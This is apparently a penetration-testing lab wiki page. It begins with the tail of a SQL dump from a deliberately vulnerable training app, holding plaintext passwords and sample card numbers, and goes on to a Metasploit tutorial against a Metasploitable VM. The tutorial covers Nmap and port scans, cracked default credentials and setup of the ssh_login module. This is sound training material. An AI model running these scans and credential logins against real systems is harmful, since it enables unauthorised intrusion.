INSERT INTO `accounts` VALUES (1,'admin','adminpass','Monkey!','TRUE'),(2,'adrian','somepassword','Zombie Films Rock!','TRUE'),(3,'john','monkey','I like the smell of confunk','FALSE'),(4,'jeremy','password','d1373 1337 speak','FALSE'),(5,'bryce','password','I Love SANS','FALSE'),(6,'samurai','samurai','Carving Fools','FALSE'),(7,'jim','password','Jim Rome is Burning','FALSE'),(8,'bobby','password','Hank is my dad','FALSE'),(9,'simba','password','I am a cat','FALSE'),(10,'dreveil','password','Preparation H','FALSE'),(11,'scotty','password','Scotty Do','FALSE'),(12,'cal','password','Go Wildcats','FALSE'),(13,'john','password','Do the Duggie!','FALSE'),(14,'kevin','42','Doug Adams rocks','FALSE'),(15,'dave','set','Bet on S.E.T. FTW','FALSE'),(16,'ed','pentest','Commandline KungFu anyone?','FALSE');
/*!40000 ALTER TABLE `accounts` ENABLE KEYS */;
UNLOCK TABLES;
 
--
-- Table structure for table `blogs_table`
--
 
DROP TABLE IF EXISTS `blogs_table`;
/*!40101 SET @saved_cs_client    = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `blogs_table` (
  `cid` int(11) NOT NULL auto_increment,
  `blogger_name` text,
  `comment` text,
  `date` datetime default NULL,
  PRIMARY KEY  (`cid`)
) ENGINE=MyISAM AUTO_INCREMENT=13 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
 
--
-- Dumping data for table `blogs_table`
--
 
LOCK TABLES `blogs_table` WRITE;
/*!40000 ALTER TABLE `blogs_table` DISABLE KEYS */;
INSERT INTO `blogs_table` VALUES (1,'adrian','Well, I\'ve been working on this for a bit. Welcome to my crappy blog software. :)','2009-03-01 22:26:12'),(2,'adrian','Looks like I got a lot more work to do. Fun, Fun, Fun!!!','2009-03-01 22:26:54'),(3,'anonymous','An anonymous blog? Huh? ','2009-03-01 22:27:11'),(4,'ed','I love me some Netcat!!!','2009-03-01 22:27:48'),(5,'john','Listen to Pauldotcom!','2009-03-01 22:29:04'),(6,'jeremy','Why give users the ability to get to the unfiltered Internet? It\'s just asking for trouble. ','2009-03-01 22:29:49'),(7,'john','Chocolate is GOOD!!!','2009-03-01 22:30:06'),(8,'admin','Fear me, for I am ROOT!','2009-03-01 22:31:13'),(9,'dave','Social Engineering is woot-tastic','2009-03-01 22:31:13'),(10,'kevin','Read more Douglas Adams','2009-03-01 22:31:13'),(11,'kevin','You should take SANS SEC542','2009-03-01 22:31:13'),(12,'asprox','Fear me, for I am asprox!','2009-03-01 22:31:13');
/*!40000 ALTER TABLE `blogs_table` ENABLE KEYS */;
UNLOCK TABLES;
 
--
-- Table structure for table `captured_data`
--
 
DROP TABLE IF EXISTS `captured_data`;
/*!40101 SET @saved_cs_client    = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `captured_data` (
  `data_id` int(11) NOT NULL auto_increment,
  `ip_address` text,
  `hostname` text,
  `port` text,
  `user_agent_string` text,
  `referrer` text,
  `data` text,
  `capture_date` datetime default NULL,
  PRIMARY KEY  (`data_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
 
--
-- Dumping data for table `captured_data`
--
 
LOCK TABLES `captured_data` WRITE;
/*!40000 ALTER TABLE `captured_data` DISABLE KEYS */;
/*!40000 ALTER TABLE `captured_data` ENABLE KEYS */;
UNLOCK TABLES;
 
--
-- Table structure for table `credit_cards`
--
 
DROP TABLE IF EXISTS `credit_cards`;
/*!40101 SET @saved_cs_client    = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `credit_cards` (
  `ccid` int(11) NOT NULL auto_increment,
  `ccnumber` text,
  `ccv` text,
  `expiration` date default NULL,
  PRIMARY KEY  (`ccid`)
) ENGINE=MyISAM AUTO_INCREMENT=6 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
 
--
-- Dumping data for table `credit_cards`
--
 
LOCK TABLES `credit_cards` WRITE;
/*!40000 ALTER TABLE `credit_cards` DISABLE KEYS */;
INSERT INTO `credit_cards` VALUES (1,'4444111122223333','745','2012-03-01'),(2,'7746536337776330','722','2015-04-01'),(3,'8242325748474749','461','2016-03-01'),(4,'7725653200487633','230','2017-06-01'),(5,'1234567812345678','627','2018-11-01');
/*!40000 ALTER TABLE `credit_cards` ENABLE KEYS */;
UNLOCK TABLES;
 
--
-- Table structure for table `hitlog`
--
 
DROP TABLE IF EXISTS `hitlog`;
/*!40101 SET @saved_cs_client    = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `hitlog` (
  `cid` int(11) NOT NULL auto_increment,
  `hostname` text,
  `ip` text,
  `browser` text,
  `referer` text,
  `date` datetime default NULL,
  PRIMARY KEY  (`cid`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
 
--
-- Dumping data for table `hitlog`
--
 
LOCK TABLES `hitlog` WRITE;
/*!40000 ALTER TABLE `hitlog` DISABLE KEYS */;
/*!40000 ALTER TABLE `hitlog` ENABLE KEYS */;
UNLOCK TABLES;
 
--
-- Table structure for table `pen_test_tools`
--
 
DROP TABLE IF EXISTS `pen_test_tools`;
/*!40101 SET @saved_cs_client    = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `pen_test_tools` (
  `tool_id` int(11) NOT NULL auto_increment,
  `tool_name` text,
  `phase_to_use` text,
  `tool_type` text,
  `comment` text,
  PRIMARY KEY  (`tool_id`)
) ENGINE=MyISAM AUTO_INCREMENT=21 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
 
--
-- Dumping data for table `pen_test_tools`
--
 
LOCK TABLES `pen_test_tools` WRITE;
/*!40000 ALTER TABLE `pen_test_tools` DISABLE KEYS */;
INSERT INTO `pen_test_tools` VALUES (1,'WebSecurify','Discovery','Scanner','Can capture screenshots automatically'),(2,'Grendel-Scan','Discovery','Scanner','Has interactive-mode. Lots plug-ins. Includes Nikto. May not spider JS menus well.'),(3,'Skipfish','Discovery','Scanner','Agressive. Fast. Uses wordlists to brute force directories.'),(4,'w3af','Discovery','Scanner','GUI simple to use. Can call sqlmap. Allows scan packages to be saved in profiles. Provides evasion, discovery, brute force, vulneraility assessment (audit), exploitation, pattern matching (grep).'),(5,'Burp-Suite','Discovery','Scanner','GUI simple to use. Provides highly configurable manual scan assistence with productivity enhancements.'),(6,'Netsparker Community Edition','Discovery','Scanner','Excellent spider abilities and reporting. GUI driven. Runs on Windows. Good at SQLi and XSS detection. From Mavituna Security. Professional version available for purchase.'),(7,'NeXpose','Discovery','Scanner','GUI driven. Runs on Windows. From Rapid7. Professional version available for purchase. Updates automatically. Requires large amounts of memory.'),(8,'Hailstorm','Discovery','Scanner','From Cenzic. Professional version requires dedicated staff, multiple dediciated servers, professional pen-tester to analyze results, and very large license fee. Extensive scanning ability. Very large vulnerability database. Highly configurable. Excellent reporting. Can scan entire networks of web applications. Extremely expensive. Requires large amounts of memory.'),(9,'Tamper Data','Discovery','Interception Proxy','Firefox add-on. Easy to use. Tampers with POST parameters and HTTP Headers. Does not tamper with URL query parameters. Requires manual browsing.'),(10,'DirBuster','Discovery','Fuzzer','OWASP tool. Fuzzes directory names to brute force directories.'),(11,'SQL Inject Me','Discovery','Fuzzer','Firefox add-on. Attempts common strings which elicit XSS responses. Not compatible with Firefox 8.0.'),(12,'XSS Me','Discovery','Fuzzer','Firefox add-on. Attempts common strings which elicit responses from databases when SQL injection is present. Not compatible with Firefox 8.0.'),(13,'GreaseMonkey','Discovery','Browser Manipulation Tool','Firefox add-on. Allows the user to inject JavaScripts and change page.'),(14,'NSLookup','Reconnaissance','DNS Server Query Tool','DNS query tool can query DNS name or reverse lookup on IP. Set debug for better output. Premiere tool on Windows but Linux perfers Dig. DNS traffic generally over UDP 53 unless response long then over TCP 53. Online version combined with anonymous proxy or TOR network may be prefered for stealth.'),(15,'Whois','Reconnaissance','Domain name lookup service','Whois is available in Linux naitvely and Windows as a Sysinternals download plus online. Whois can lookup the registrar of a domain and the IP block associated. An online version is http://network-tools.com/'),(16,'Dig','Reconnaissance','DNS Server Query Tool','The Domain Information Groper is prefered on Linux over NSLookup and provides more information natively. NSLookup must be in debug mode to give similar output. DIG can perform zone transfers if the DNS server allows transfers.'),(17,'Fierce Domain Scanner','Reconnaissance','DNS Server Query Tool','Powerful DNS scan tool. FDS is a Perl program which scans and reverse scans a domain plus scans IPs within the same block to look for neighoring machines. Available in the Samurai and Backtrack distributions plus http://ha.ckers.org/fierce/'),(18,'host','Reconnaissance','DNS Server Query Tool','A simple DNS lookup tool included with BIND. The tool is a friendly and capible command line tool with excellent documentation. Does not posess the automation of FDS.'),(19,'zaproxy','Reconnaissance','Interception Proxy','OWASP Zed Attack Proxy. An interception proxy that can also passively or actively scan applications as well as perform brute-forcing. Similar to Burp-Suite without the disadvantage of requiring a costly license.'),(20,'Google intitle','Discovery','Search Engine','intitle and site directives allow directory discovery. GHDB available to provide hints. See Hackers for Charity site.');
/*!40000 ALTER TABLE `pen_test_tools` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
 
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
 
-- Dump completed on 2016-03-23 21:11:15
 
</pre>
 
=Flags=


{{KaliFlag}}
{{KaliFlag}}

Latest revision as of 06:16, 12 November 2018

Metasploit framework info: http://docs.kali.org/general-use/starting-metasploit-framework-in-kali

Also see Metasploitable for Metasploit in action!

Basics

Fire up metasploit: 

$ msfconsole

Get some help: 

msf> ?

Use a particular exploit: 

msf> use some/particular/exploit

Show info about how to use the exploit: 

msf> info 
msf> info some/particular/exploit

Set your variables: 

msf> set RHOST 127.0.0.1

Run the exploit: 

msf> run

Not-So-Basics

Initializing DB

First, you want postgresql to run as a server: 

$ service postgresql start

This is the database format that MSF uses.

Now initialize the database: 

$ msfdb init

Running

To get a metasploit console, run 

$ msfconsole

Capturing Metasploit Console Output

If you want to capture the output you're seeing in Metasploit framework console, you can use the spool command. 

spool /root/box/metasploitable/metasploit.log

If the spool command is not accessible, use the msfupdate command. 

msf > spool /root/box/metasploitable/metasploit.log
[*] Spooling to file /root/box/metasploitable/metasploit.log...
msf >

To stop recording, set spool to off: 

msf > spool off
[*] Spooling is now disable
msf >

Ninja

How to exploit hosts that aren't available remotely

Suppose you're not a client trying to exploit a server, but are a server trying to exploit a client.

What can you do?

Metasploit/Exploiting_Clients

Advanced

Creating Workspace

You can create a workspace to save scan information: 

msf > db_status
[*] postgresql connected to msf
msf > workspace
* default
msf > workspace metasploitable
[-] Workspace not found: metasploitable
msf > workspace -a metasploitable
[*] Added workspace: metasploitable
msf > workspace
  default
* metasploitable
msf > workspace -h
Usage:
    workspace                  List workspaces
    workspace [name]           Switch workspace
    workspace -a [name] ...    Add workspace(s)
    workspace -d [name] ...    Delete workspace(s)
    workspace -D               Delete all workspaces
    workspace -r <old> <new>   Rename workspace
    workspace -h               Show this help information

msf >

Reloading Workspace

You can reload a workspace by listing all workspaces, then type workspace [name]. Here, I reload the metasploitable workspace: 

msf > db_status
[*] postgresql connected to msf
msf > workspace
* default
  metasploitable
msf > workspace metasploitable
[*] Workspace: metasploitable
msf >

Nmap Scan Into Workspace

Use db_nmap instead of nmap to store info in database: 

msf > db_nmap -A -O -sS -sV 10.0.0.27
[*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2016-03-26 02:54 PDT
[*] Nmap: Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
[*] Nmap: Nmap done: 1 IP address (0 hosts up) scanned in 1.68 seconds
msf > db_nmap -A -O -sS -sV 10.0.0.27
[*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2016-03-26 02:55 PDT
[*] Nmap: Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
[*] Nmap: Nmap done: 1 IP address (0 hosts up) scanned in 1.67 seconds
msf > db_nmap -A -O -sS -sV 10.0.0.27
[*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2016-03-26 02:55 PDT
[*] Nmap: Nmap scan report for 10.0.0.27
[*] Nmap: Host is up (0.0015s latency).
[*] Nmap: Not shown: 977 closed ports
[*] Nmap: PORT     STATE SERVICE     VERSION
[*] Nmap: 21/tcp   open  ftp         vsftpd 2.3.4
[*] Nmap: |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
[*] Nmap: 22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
[*] Nmap: | ssh-hostkey:
[*] Nmap: |   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
[*] Nmap: |_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
[*] Nmap: 23/tcp   open  telnet      Linux telnetd
[*] Nmap: 25/tcp   open  smtp        Postfix smtpd
[*] Nmap: |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
[*] Nmap: | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
[*] Nmap: | Not valid before: 2010-03-17T14:07:45
[*] Nmap: |_Not valid after:  2010-04-16T14:07:45
[*] Nmap: |_ssl-date: 2016-03-25T23:42:57+00:00; -10h12m30s from scanner time.
[*] Nmap: 53/tcp   open  domain      ISC BIND 9.4.2
[*] Nmap: | dns-nsid:
[*] Nmap: |_  bind.version: 9.4.2
[*] Nmap: 80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
[*] Nmap: |_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
[*] Nmap: |_http-title: Metasploitable2 - Linux
[*] Nmap: 111/tcp  open  rpcbind     2 (RPC #100000)
[*] Nmap: | rpcinfo:
[*] Nmap: |   program version   port/proto  service
[*] Nmap: |   100000  2            111/tcp  rpcbind
[*] Nmap: |   100000  2            111/udp  rpcbind
[*] Nmap: |   100003  2,3,4       2049/tcp  nfs
[*] Nmap: |   100003  2,3,4       2049/udp  nfs
[*] Nmap: |   100005  1,2,3      42714/tcp  mountd
[*] Nmap: |   100005  1,2,3      46675/udp  mountd
[*] Nmap: |   100021  1,3,4      33001/tcp  nlockmgr
[*] Nmap: |   100021  1,3,4      58755/udp  nlockmgr
[*] Nmap: |   100024  1          35518/udp  status
[*] Nmap: |_  100024  1          46140/tcp  status
[*] Nmap: 139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
[*] Nmap: 445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
[*] Nmap: 512/tcp  open  exec        netkit-rsh rexecd
[*] Nmap: 513/tcp  open  login?
[*] Nmap: 514/tcp  open  tcpwrapped
[*] Nmap: 1099/tcp open  java-rmi    Java RMI Registry
[*] Nmap: 1524/tcp open  shell       Metasploitable root shell
[*] Nmap: 2049/tcp open  nfs         2-4 (RPC #100003)
[*] Nmap: 2121/tcp open  ftp         ProFTPD 1.3.1
[*] Nmap: 3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
[*] Nmap: | mysql-info:
[*] Nmap: |   Protocol: 53
[*] Nmap: |   Version: .0.51a-3ubuntu5
[*] Nmap: |   Thread ID: 10
[*] Nmap: |   Capabilities flags: 43564
[*] Nmap: |   Some Capabilities: Speaks41ProtocolNew, Support41Auth, SupportsTransactions, SwitchToSSLAfterHandshake, LongColumnFlag, SupportsCompression, ConnectWithDatabase
[*] Nmap: |   Status: Autocommit
[*] Nmap: |_  Salt: [k*.G\v`^63:h~cRR'eM
[*] Nmap: 5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
[*] Nmap: 5900/tcp open  vnc         VNC (protocol 3.3)
[*] Nmap: | vnc-info:
[*] Nmap: |   Protocol version: 3.3
[*] Nmap: |   Security types:
[*] Nmap: |_    Unknown security type (33554432)
[*] Nmap: 6000/tcp open  X11         (access denied)
[*] Nmap: 6667/tcp open  irc         Unreal ircd
[*] Nmap: 8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
[*] Nmap: |_ajp-methods: Failed to get a valid response for the OPTION request
[*] Nmap: 8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
[*] Nmap: |_http-favicon: Apache Tomcat
[*] Nmap: |_http-server-header: Apache-Coyote/1.1
[*] Nmap: |_http-title: Apache Tomcat/5.5
[*] Nmap: MAC Address: 08:00:27:47:98:AD (Oracle VirtualBox virtual NIC)
[*] Nmap: Device type: general purpose
[*] Nmap: Running: Linux 2.6.X
[*] Nmap: OS CPE: cpe:/o:linux:linux_kernel:2.6
[*] Nmap: OS details: Linux 2.6.9 - 2.6.33
[*] Nmap: Network Distance: 1 hop
[*] Nmap: Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
[*] Nmap: Host script results:
[*] Nmap: |_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
[*] Nmap: | smb-os-discovery:
[*] Nmap: |   OS: Unix (Samba 3.0.20-Debian)
[*] Nmap: |   NetBIOS computer name:
[*] Nmap: |   Workgroup: WORKGROUP
[*] Nmap: |_  System time: 2016-03-25T19:42:53-04:00
[*] Nmap: TRACEROUTE
[*] Nmap: HOP RTT     ADDRESS
[*] Nmap: 1   1.47 ms 10.0.0.27
[*] Nmap: OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 78.16 seconds

This information will be imported and parsed accordingly: 

msf > hosts

Hosts
=====

address    mac                name  os_name  os_flavor  os_sp  purpose  info  comments
-------    ---                ----  -------  ---------  -----  -------  ----  --------
10.0.0.27  08:00:27:47:98:ad        Linux               2.6.X  server

msf >

Back Up Workspace

To back up a workspace, use db_export: 

msf > db_export -h
dUsage:
    db_export -f <format> [filename]
    Format can be one of: xml, pwdump
[-] No output file was specified
msf > db_export -f xml /root/metasploitable.xml
[*] Starting export of workspace metasploitable to /root/metasploitable.xml [ xml ]...
[*]     >> Starting export of report
[*]     >> Starting export of hosts
[*]     >> Starting export of events
[*]     >> Starting export of services
[*]     >> Starting export of web sites
[*]     >> Starting export of web pages
[*]     >> Starting export of web forms
[*]     >> Starting export of web vulns
[*]     >> Starting export of module details
[*]     >> Finished export of report
[*] Finished export of workspace metasploitable to /root/metasploitable.xml [ xml ]...
msf >

Dealing With Hosts

The interface for using the hosts information is very powerful. We can use the -c switch to control what columns are shown: 

msf > hosts -c address,os_name

Hosts
=====

address    os_name
-------    -------
10.0.0.27  Linux

msf >

We can also narrow down results (if we have a large number of hosts on a network) by searching for strings: 

msf > hosts -c address,os_name -S linux

Hosts
=====

address    os_name
-------    -------
10.0.0.27  Linux

msf >

Passing Hosts to RHOST

If we have loaded a module, like auxiliary/scanner/portscan/tcp, we can use the hosts to define our scan targets with the -R flag when searching. (This can add multiple remote hosts to a scan - handy for long lists of hosts.)

It will also add the output of each scan/each module that is run to the database. Running a TCP scan will identify open ports, and each of those open ports will be added to the workspace/Metasploit database. 

msf > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > show options

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS                        yes       The target address range or CIDR identifier
   THREADS      1                yes       The number of concurrent threads
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds

msf auxiliary(tcp) > hosts -c address,os_name -S linux -R

Hosts
=====

address    os_name
-------    -------
10.0.0.27  Linux

RHOSTS => 10.0.0.27

msf auxiliary(tcp) > run

[*] 10.0.0.27:22 - TCP OPEN
[*] 10.0.0.27:23 - TCP OPEN
[*] 10.0.0.27:21 - TCP OPEN
[*] 10.0.0.27:25 - TCP OPEN
[*] 10.0.0.27:53 - TCP OPEN
[*] 10.0.0.27:80 - TCP OPEN
[*] 10.0.0.27:111 - TCP OPEN
[*] 10.0.0.27:139 - TCP OPEN
[*] 10.0.0.27:445 - TCP OPEN
[*] 10.0.0.27:514 - TCP OPEN
[*] 10.0.0.27:513 - TCP OPEN
[*] 10.0.0.27:512 - TCP OPEN
[*] 10.0.0.27:1099 - TCP OPEN
[*] 10.0.0.27:1524 - TCP OPEN
[*] 10.0.0.27:2049 - TCP OPEN
[*] 10.0.0.27:2121 - TCP OPEN
[*] 10.0.0.27:3306 - TCP OPEN
[*] 10.0.0.27:3632 - TCP OPEN
[*] 10.0.0.27:5432 - TCP OPEN
[*] 10.0.0.27:5900 - TCP OPEN
[*] 10.0.0.27:6000 - TCP OPEN
[*] 10.0.0.27:6667 - TCP OPEN
[*] 10.0.0.27:6697 - TCP OPEN
[*] 10.0.0.27:8009 - TCP OPEN
[*] 10.0.0.27:8180 - TCP OPEN
[*] 10.0.0.27:8787 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(tcp) >

This process will create a deluge of packet traffic between the attacker (morpheus) and the target (metasploitable, 10.0.0.27), as shown by tcpdump: 

# tcpdump -i eth0

[...]

03:35:33.494539 IP morpheus.38946 > 10.0.0.27.7745: Flags [S], seq 4229817845, win 29200, options [mss 1460,sackOK,TS val 67880356 ecr 0,nop,wscale 10], length 0
03:35:33.494905 IP morpheus.56392 > 10.0.0.27.7746: Flags [S], seq 2209661380, win 29200, options [mss 1460,sackOK,TS val 67880356 ecr 0,nop,wscale 10], length 0
03:35:33.494955 IP 10.0.0.27.7745 > morpheus.38946: Flags [R.], seq 0, ack 4229817846, win 0, length 0
03:35:33.495132 IP 10.0.0.27.7746 > morpheus.56392: Flags [R.], seq 0, ack 2209661381, win 0, length 0
03:35:33.495282 IP morpheus.44735 > 10.0.0.27.7747: Flags [S], seq 1306640419, win 29200, options [mss 1460,sackOK,TS val 67880356 ecr 0,nop,wscale 10], length 0
03:35:33.496069 IP 10.0.0.27.7747 > morpheus.44735: Flags [R.], seq 0, ack 1306640420, win 0, length 0
03:35:33.496090 IP morpheus.42604 > 10.0.0.27.7749: Flags [S], seq 1345082972, win 29200, options [mss 1460,sackOK,TS val 67880356 ecr 0,nop,wscale 10], length 0
03:35:33.496357 IP 10.0.0.27.7749 > morpheus.42604: Flags [R.], seq 0, ack 1345082973, win 0, length 0
03:35:33.708617 IP6 2601:602:8901:d335:bcd1:65ff:fe92:6371.48457 > ff05::c.1900: UDP, length 98
03:35:33.816292 IP6 2601:602:8901:d335:bcd1:65ff:fe92:6371.48457 > ff05::c.1900: UDP, length 98
03:35:33.833652 IP morpheus.46610 > 10.0.0.27.7753: Flags [S], seq 2211519157, win 29200, options [mss 1460,sackOK,TS val 67880441 ecr 0,nop,wscale 10], length 0
03:35:33.834214 IP morpheus.52147 > 10.0.0.27.7751: Flags [S], seq 2171151102, win 29200, options [mss 1460,sackOK,TS val 67880441 ecr 0,nop,wscale 10], length 0
03:35:33.834335 IP 10.0.0.27.7753 > morpheus.46610: Flags [R.], seq 0, ack 2211519158, win 0, length 0
03:35:33.834502 IP 10.0.0.27.7751 > morpheus.52147: Flags [R.], seq 0, ack 2171151103, win 0, length 0
03:35:33.834831 IP morpheus.43955 > 10.0.0.27.7752: Flags [S], seq 1337658889, win 29200, options [mss 1460,sackOK,TS val 67880441 ecr 0,nop,wscale 10], length 0
03:35:33.835315 IP 10.0.0.27.7752 > morpheus.43955: Flags [R.], seq 0, ack 1337658890, win 0, length 0
03:35:33.835404 IP morpheus.48124 > 10.0.0.27.7755: Flags [S], seq 2750644096, win 29200, options [mss 1460,sackOK,TS val 67880441 ecr 0,nop,wscale 10], length 0
03:35:33.835964 IP morpheus.41084 > 10.0.0.27.7756: Flags [S], seq 2965282008, win 29200, options [mss 1460,sackOK,TS val 67880441 ecr 0,nop,wscale 10], length 0
03:35:33.836016 IP 10.0.0.27.7755 > morpheus.48124: Flags [R.], seq 0, ack 2750644097, win 0, length 0
03:35:33.836268 IP 10.0.0.27.7756 > morpheus.41084: Flags [R.], seq 0, ack 2965282009, win 0, length 0
03:35:33.836544 IP morpheus.53623 > 10.0.0.27.7757: Flags [S], seq 1989216855, win 29200, options [mss 1460,sackOK,TS val 67880441 ecr 0,nop,wscale 10], length 0
03:35:33.836835 IP 10.0.0.27.7757 > morpheus.53623: Flags [R.], seq 0, ack 1989216856, win 0, length 0
03:35:33.837113 IP morpheus.34173 > 10.0.0.27.7758: Flags [S], seq 462052512, win 29200, options [mss 1460,sackOK,TS val 67880441 ecr 0,nop,wscale 10], length 0
03:35:33.837454 IP 10.0.0.27.7758 > morpheus.34173: Flags [R.], seq 0, ack 462052513, win 0, length 0
03:35:33.837707 IP morpheus.39847 > 10.0.0.27.7759: Flags [S], seq 4103494796, win 29200, options [mss 1460,sackOK,TS val 67880442 ecr 0,nop,wscale 10], length 0
03:35:33.837976 IP 10.0.0.27.7759 > morpheus.39847: Flags [R.], seq 0, ack 4103494797, win 0, length 0
03:35:33.838475 IP morpheus.51488 > 10.0.0.27.7760: Flags [S], seq 3689956999, win 29200, options [mss 1460,sackOK,TS val 67880442 ecr 0,nop,wscale 10], length 0
03:35:33.838757 IP 10.0.0.27.7760 > morpheus.51488: Flags [R.], seq 0, ack 3689957000, win 0, length 0
03:35:33.840901 IP morpheus.37018 > 10.0.0.27.7754: Flags [S], seq 2708295021, win 29200, options [mss 1460,sackOK,TS val 67880442 ecr 0,nop,wscale 10], length 0
03:35:33.841397 IP 10.0.0.27.7754 > morpheus.37018: Flags [R.], seq 0, ack 2708295022, win 0, length 0
03:35:33.926962 IP6 fe80::bcd1:65ff:fe92:6371.48457 > ff02::c.1900: UDP, length 98
03:35:34.034038 IP6 fe80::bcd1:65ff:fe92:6371.48457 > ff02::c.1900: UDP, length 98
03:35:34.149946 IP 10.0.0.1.55203 > 239.255.255.250.1900: UDP, length 104
03:35:34.166687 IP morpheus.59867 > 10.0.0.27.7763: Flags [S], seq 3464606117, win 29200, options [mss 1460,sackOK,TS val 67880524 ecr 0,nop,wscale 10], length 0
03:35:34.167308 IP 10.0.0.27.7763 > morpheus.59867: Flags [R.], seq 0, ack 3464606118, win 0, length 0

Services

Once we have done an Nmap and TCP scan, we know what services are running and what ports are open.

Show the services that are up with services -u: 

msf auxiliary(tcp) > services -u

Services
========

host       port  proto  name         state  info
----       ----  -----  ----         -----  ----
10.0.0.27  21    tcp    ftp          open   vsftpd 2.3.4
10.0.0.27  22    tcp    ssh          open   OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0
10.0.0.27  23    tcp    telnet       open   Linux telnetd
10.0.0.27  25    tcp    smtp         open   Postfix smtpd
10.0.0.27  53    tcp    domain       open   ISC BIND 9.4.2
10.0.0.27  80    tcp    http         open   Apache httpd 2.2.8 (Ubuntu) DAV/2
10.0.0.27  111   tcp    rpcbind      open   2 RPC #100000
10.0.0.27  139   tcp    netbios-ssn  open   Samba smbd 3.X workgroup: WORKGROUP
10.0.0.27  445   tcp    netbios-ssn  open   Samba smbd 3.X workgroup: WORKGROUP
10.0.0.27  512   tcp    exec         open   netkit-rsh rexecd
10.0.0.27  513   tcp    login        open
10.0.0.27  514   tcp    tcpwrapped   open
10.0.0.27  1099  tcp    java-rmi     open   Java RMI Registry
10.0.0.27  1524  tcp    shell        open   Metasploitable root shell
10.0.0.27  2049  tcp    nfs          open   2-4 RPC #100003
10.0.0.27  2121  tcp    ftp          open   ProFTPD 1.3.1
10.0.0.27  3306  tcp    mysql        open   MySQL 5.0.51a-3ubuntu5
10.0.0.27  3632  tcp                 open
10.0.0.27  5432  tcp    postgresql   open   PostgreSQL DB 8.3.0 - 8.3.7
10.0.0.27  5900  tcp    vnc          open   VNC protocol 3.3
10.0.0.27  6000  tcp    x11          open   access denied
10.0.0.27  6667  tcp    irc          open   Unreal ircd
10.0.0.27  6697  tcp                 open
10.0.0.27  8009  tcp    ajp13        open   Apache Jserv Protocol v1.3
10.0.0.27  8180  tcp    http         open   Apache Tomcat/Coyote JSP engine 1.1
10.0.0.27  8787  tcp                 open

msf auxiliary(tcp) >

Credentials

Like services, credentials are also accrued in the database. 

msf > creds

Credentials
===========

host  port  user  pass  type  active?
----  ----  ----  ----  ----  -------

[*] Found 0 credentials.

Once you find credentials, you can add them manually. We found credentials for 6 out of 7 users with John the Ripper (see Metasploitable/John Shadow File): 

password         (username)
-----------------------------------
postgres         (postgres)
user             (user)
msfadmin         (msfadmin)
service          (service)
batman           (sys)
123456789        (klog)

Add them by using the ssh_login module: 

msf > use auxiliary/scanner/ssh/ssh_login
msf auxiliary(ssh_login) > show options
msf auxiliary(ssh_login) > set RHOSTS 10.0.0.27
RHOSTS => 10.0.0.27
msf auxiliary(ssh_login) > set USERNAME msfadmin
USERNAME => msfadmin
msf auxiliary(ssh_login) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf auxiliary(ssh_login) > run

